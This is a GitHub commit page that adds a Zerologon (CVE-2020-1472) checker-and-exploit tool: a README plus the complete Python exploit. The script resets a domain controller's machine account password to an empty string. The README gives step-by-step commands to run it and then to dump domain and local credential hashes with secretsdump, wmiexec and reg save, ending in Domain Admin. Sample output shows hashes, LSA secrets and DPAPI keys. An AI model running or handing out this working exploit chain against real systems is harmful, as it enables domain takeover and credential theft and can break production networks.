Skip to content

Commit 90699fb

Browse files
committed
x 2023-02-23
1 parent ae21f31 commit 90699fb

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

89 files changed

+29711
-0
lines changed

tools/CVE-2020-1472/README.md

Lines changed: 128 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,128 @@
1+
# CVE-2020-1472
2+
Checker & Exploit Code for CVE-2020-1472 aka **Zerologon**
3+
4+
Tests whether a domain controller is vulnerable to the Zerologon attack, if vulnerable, it will resets the Domain Controller's account password to an empty string.
5+
6+
**NOTE:** It will likely break things in production environments (eg. DNS functionality, communication with replication Domain Controllers, etc); target clients will then not be able to authenticate to the domain anymore, and they can only be re-synchronized through manual action. If you want to know more on how Zerologon attack break things, thanks to the awesome works of [@_dirkjan](https://twitter.com/_dirkjan), you can read it [**HERE**](https://threadreaderapp.com/thread/1306280553281449985.html)
7+
8+
Zerologon original research and whitepaper by Secura (Tom Tervoort) - [https://www.secura.com/blog/zero-logon](https://www.secura.com/blog/zero-logon)
9+
10+
[![asciicast](https://asciinema.org/a/359833.svg)](https://asciinema.org/a/359833)
11+
12+
# Exploit
13+
14+
It will attempt to perform the Netlogon authentication bypass. When a domain controller is patched, the detection script will give up after sending 2000 pairs of RPC calls, concluding that the target is not vulnerable (with a false negative chance of 0.04%).
15+
16+
The exploit will be successful only if the Domain Controller uses the password stored in Active Directory to validate the login attempt, rather than the one stored locally as, when changing a password in this way, it is only changed in the AD. The targeted system itself will still locally store its original password.
17+
18+
## Installation
19+
20+
Requires Python 3.7 or higher, virtualenv, pip and ~~a modified version of Impacket's library: nrpc.py (/impacket/dcerpc/v5)~~ the latest version of impacket from [GitHub](https://github.com/SecureAuthCorp/impacket) with added netlogon structures.
21+
22+
### 1. Install Impacket as follows:
23+
24+
1. ```git clone https://github.com/SecureAuthCorp/impacket```
25+
2. ```cd impacket```
26+
3. ```
27+
pwd
28+
~/impacket/
29+
```
30+
4. ```virtualenv --python=python3 impacket```
31+
5. ```source impacket/bin/activate```
32+
6. ```pip install --upgrade pip```
33+
7. ```pip install .```
34+
35+
### 2. Install the Zerologon exploit script as follows:
36+
1. ```pwd
37+
~/impacket/
38+
```
39+
2. ```cd examples```
40+
3. ```git clone https://github.com/VoidSec/CVE-2020-1472```
41+
4. ```cd CVE-2020-1472```
42+
5. ```pip install -r requirements.txt```
43+
44+
## Running the script
45+
46+
The script can be used to target a DC or backup DC. It will likely also work against a read-only DC, but this has not been tested yet.
47+
The DC name should be its NetBIOS computer name. If this name is not correct, the script will likely fail with a `STATUS_INVALID_COMPUTER_NAME` error.
48+
Given a domain controller named `EXAMPLE-DC` and IP address `1.2.3.4`, run the script as follows:
49+
50+
+ ```./cve-2020-1472-exploit.py -n EXAMPLE-DC -t 1.2.3.4```
51+
52+
Running the script should results in Domain Controller's account password being reset to an empty string.
53+
54+
At this point you should be able to run Impacket's ```secretsdump.py -no-pass -just-dc Domain/'DC_NETBIOS_NAME$'@DC_IP_ADDR``` (alternatively you can use the empty hash: ```-hashes :31d6cfe0d16ae931b73c59d7e0c089c0```) that will extract only NTDS.DIT data (NTLM hashes and Kerberos keys).
55+
56+
Which should get you Domain Admin. **WIN WIN WIN**
57+
58+
### Example Run
59+
```
60+
> cve-2020-1472-exploit.py -n WIN-U4Q9LLP6L2A -t 192.168.209.129
61+
[+] Success: Zerologon Exploit completed! DC's account password has been set to an empty string.
62+
63+
> secretsdump.py -no-pass -just-dc ad.test.com/WIN-U4Q9LLP6L2A\[email protected]
64+
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
65+
66+
Restore:
67+
> wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe ad.test.com/[email protected]
68+
- reg save HKLM\SYSTEM system.save
69+
- reg save HKLM\SAM sam.save
70+
- reg save HKLM\SECURITY security.save
71+
- get system.save
72+
- get sam.save
73+
- get security.save
74+
- del /f system.save
75+
- del /f sam.save
76+
- del /f security.save
77+
78+
> secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
79+
[*] Target system bootKey: 0x31f99ee2e750274d1fee930ab88fe126
80+
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
81+
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
82+
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
83+
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
84+
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
85+
[*] Dumping cached domain logon information (domain/username:hash)
86+
[*] Dumping LSA Secrets
87+
[*] $MACHINE.ACC
88+
$MACHINE.ACC:plain_password_hex:ef464f4194d9f401af41c9982dc7c85524cc9ed8adef4fe24c8044d13f1ae41c594131d2d46cab3a0d3384cda94baae65d5a87d26df1201ff6ff1697672ac4e16c16f0e514f6e54d84342c5af4193fe96329e3a30fb84c08845e7a86dac4295276c7c2e3181555fa5eef21d4d1f469550f4706383327b299283f72b7df6b661cfb11189bd8b3ab552ffb99aa12ffe19b760e00e143ef3e776d8377da57925c5ed71aa9f0991acff7fc9c963addb8496fdd273f231e15a51d99f41a770de714573b26795c45a03eac80e3bb45ac5c100740da5814c3979e5349e8471623086c80f6160163f4bd56da3b75a6deb17b1020
89+
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:9b5ccb9700e3ed723df08132357ff6a1
90+
[*] DPAPI_SYSTEM
91+
dpapi_machinekey:0xaf83406b2611f18ac99329079e9f47d9409e885f
92+
dpapi_userkey:0x53ed555f11c110f918fc9a97a6c3576266930fb7
93+
[*] NL$KM
94+
0000 55 A7 DF DF 27 E2 64 C1 F7 42 F2 1B 96 76 01 4F U...'.d..B...v.O
95+
0010 24 4C 5D 9B 20 E3 EA 95 DD E9 61 0F 00 8E B2 51 $L]. .....a....Q
96+
0020 B1 79 3F E0 37 3E CB B2 95 31 A6 74 F3 35 54 8A .y?.7>...1.t.5T.
97+
0030 C1 B6 70 3D B3 AB AC C1 7E 8E 90 7A 7B 49 32 46 ..p=....~..z{I2F
98+
NL$KM:55a7dfdf27e264c1f742f21b9676014f244c5d9b20e3ea95dde9610f008eb251b1793fe0373ecbb29531a674f335548ac1b6703db3abacc17e8e907a7b493246
99+
[*] Cleaning up...
100+
101+
> reinstall_original_pw.py WIN-U4Q9LLP6L2A 192.168.209.129 ef464f4194d9f401af41c9982dc7c85524cc9ed8adef4fe24c8044d13f1ae41c594131d2d46cab3a0d3384cda94baae65d5a87d26df1201ff6ff1697672ac4e16c16f0e514f6e54d84342c5af4193fe96329e3a30fb84c08845e7a86dac4295276c7c2e3181555fa5eef21d4d1f469550f4706383327b299283f72b7df6b661cfb11189bd8b3ab552ffb99aa12ffe19b760e00e143ef3e776d8377da57925c5ed71aa9f0991acff7fc9c963addb8496fdd273f231e15a51d99f41a770de714573b26795c45a03eac80e3bb45ac5c100740da5814c3979e5349e8471623086c80f6160163f4bd56da3b75a6deb17b1020
102+
```
103+
104+
## Password Restore
105+
**Reinstalling the original password hash is necessary for the DC to continue to operate normally.**
106+
107+
After you have obtained Domain Admin, you can ```wmiexec.py``` to the target DC with a credential obtained from secretsdump and perform the following steps:
108+
109+
```
110+
reg save HKLM\SYSTEM system.save
111+
reg save HKLM\SAM sam.save
112+
reg save HKLM\SECURITY security.save
113+
get system.save
114+
get sam.save
115+
get security.save
116+
del /f system.save
117+
del /f sam.save
118+
del /f security.save
119+
```
120+
121+
Run: ```secretsdump.py -sam sam.save -system system.save -security security.save LOCAL```
122+
123+
And that should show you the original NT hash of the machine account. You can then re-install that original machine account hash to the domain by using the ```reinstall_original_pw.py``` script provided [here](https://github.com/risksense/zerologon/). Sometimes more than one run is needed before it succeed.
124+
```
125+
reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR ORIG_NT_HASH
126+
```
127+
Alternatively you can use following [restoration process](https://github.com/dirkjanm/CVE-2020-1472)
128+
Lines changed: 159 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,159 @@
1+
#!/usr/bin/env python3
2+
"""
3+
Zerologon Checker & Exploit
4+
Paolo Stagno aka Voidsec (@Void_Sec) - https://voidsec.com
5+
Original script and research by Secura (Tom Tervoort) - https://www.secura.com/blog/zero-logon
6+
"""
7+
import argparse
8+
import sys
9+
import pyfiglet
10+
from impacket.dcerpc.v5 import nrpc, epm
11+
from impacket.dcerpc.v5 import transport
12+
from termcolor import cprint
13+
14+
# Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be necessary on average.
15+
MAX_ATTEMPTS = 2000 # False negative chance: 0.04%
16+
17+
18+
def main():
19+
parser = argparse.ArgumentParser(prog="cve-2020-1472-exploit.py",
20+
description="Zerologon Checker & Exploit: Tests whether a domain controller is "
21+
"vulnerable to the Zerologon attack, if vulnerable, it will resets the DC's account password to an empty string.")
22+
parser.add_argument("-t", default=None, dest="dc_ip", required=True, help="Domain Controller's IP")
23+
parser.add_argument("-n", default=None, dest="dc_name", required=True,
24+
help="NetBIOS' name of the Domain Controller")
25+
args = parser.parse_args()
26+
dc_name = args.dc_name.rstrip("$")
27+
dc_ip = args.dc_ip
28+
perform_attack("\\\\" + dc_name, dc_ip, dc_name)
29+
30+
31+
def err(msg):
32+
cprint("[!] " + msg, "red")
33+
34+
35+
def try_zero_authenticate(dc_handle, dc_ip, target_computer):
36+
# Connect to the DC's Netlogon service.
37+
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
38+
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
39+
rpc_con.connect()
40+
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
41+
42+
# Use an all-zero challenge and credential.
43+
plaintext = b"\x00" * 8
44+
ciphertext = b"\x00" * 8
45+
46+
# Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
47+
flags = 0x212fffff
48+
49+
# Send challenge and authentication request.
50+
nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + "\x00", target_computer + "\x00", plaintext)
51+
try:
52+
server_auth = nrpc.hNetrServerAuthenticate3(
53+
rpc_con, dc_handle + "\x00", target_computer + "$\x00",
54+
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
55+
target_computer + "\x00", ciphertext, flags
56+
)
57+
58+
# It worked!
59+
assert server_auth["ErrorCode"] == 0
60+
return rpc_con
61+
62+
except nrpc.DCERPCSessionError as ex:
63+
# Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
64+
if ex.get_error_code() == 0xc0000022:
65+
return None
66+
else:
67+
err("Unexpected error code returned from DC: {}".format(ex.get_error_code()))
68+
except BaseException as ex:
69+
err("Unexpected error: {}".format(ex))
70+
71+
72+
def try_zerologon(dc_handle, rpc_con, target_computer):
73+
"""
74+
Authenticator: A NETLOGON_AUTHENTICATOR structure, as specified in section 2.2.1.1.5, that contains the encrypted
75+
logon credential and a time stamp.
76+
77+
typedef struct _NETLOGON_AUTHENTICATOR {
78+
NETLOGON_CREDENTIAL Credential;
79+
DWORD Timestamp;
80+
}
81+
82+
Timestamp: An integer value that contains the time of day at which the client constructed this authentication
83+
credential, represented as the number of elapsed seconds since 00:00:00 of January 1, 1970.
84+
The authenticator is constructed just before making a call to a method that requires its usage.
85+
86+
typedef struct _NETLOGON_CREDENTIAL {
87+
CHAR data[8];
88+
}
89+
90+
ClearNewPassword: A NL_TRUST_PASSWORD structure, as specified in section 2.2.1.3.7,
91+
that contains the new password encrypted as specified in Calling NetrServerPasswordSet2 (section 3.4.5.2.5).
92+
93+
typedef struct _NL_TRUST_PASSWORD {
94+
WCHAR Buffer[256];
95+
ULONG Length;
96+
}
97+
98+
ReturnAuthenticator: A NETLOGON_AUTHENTICATOR structure, as specified in section 2.2.1.1.5,
99+
that contains the server return authenticator.
100+
101+
More info can be found on the [MS-NRPC]-170915.pdf
102+
"""
103+
request = nrpc.NetrServerPasswordSet2()
104+
request["PrimaryName"] = dc_handle + "\x00"
105+
request["AccountName"] = target_computer + "$\x00"
106+
request["SecureChannelType"] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
107+
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
108+
authenticator["Credential"] = b"\x00" * 8
109+
authenticator["Timestamp"] = 0
110+
request["Authenticator"] = authenticator
111+
request["ComputerName"] = target_computer + "\x00"
112+
request["ClearNewPassword"] = b"\x00" * 516
113+
return rpc_con.request(request)
114+
115+
116+
def perform_attack(dc_handle, dc_ip, target_computer):
117+
banner = pyfiglet.figlet_format("Zerologon", "slant")
118+
cprint(banner, "green")
119+
cprint("Checker & Exploit by VoidSec\n", "white")
120+
# Keep authenticating until successful. Expected average number of attempts needed: 256.
121+
cprint("Performing authentication attempts...", "white")
122+
rpc_con = None
123+
for attempt in range(0, MAX_ATTEMPTS):
124+
rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer)
125+
126+
if rpc_con is None:
127+
cprint(".", "magenta", end="", flush=True)
128+
else:
129+
break
130+
131+
if rpc_con:
132+
cprint("\n[+] Success: Target is vulnerable!", "green")
133+
cprint("[-] Do you want to continue and exploit the Zerologon vulnerability? [N]/y", "yellow")
134+
exec_exploit = input().lower()
135+
if exec_exploit == "y":
136+
result = try_zerologon(dc_handle, rpc_con, target_computer)
137+
if result["ErrorCode"] == 0:
138+
cprint(
139+
"[+] Success: Zerologon Exploit completed! DC's account password has been set to an empty string.",
140+
"green")
141+
else:
142+
err(
143+
"Exploit Failed: Non-zero return code, something went wrong. Domain Controller returned: {}".format(
144+
result["ErrorCode"]))
145+
else:
146+
err("Aborted")
147+
sys.exit(0)
148+
else:
149+
err("Exploit failed: target DC is probably patched.")
150+
sys.exit(1)
151+
152+
153+
if __name__ == "__main__":
154+
try:
155+
main()
156+
except KeyboardInterrupt:
157+
# Catch CTRL+C, it will abruptly kill the script, no cleanup
158+
err("CTRL+C, exiting...")
159+
sys.exit(1)

0 commit comments

Comments
 (0)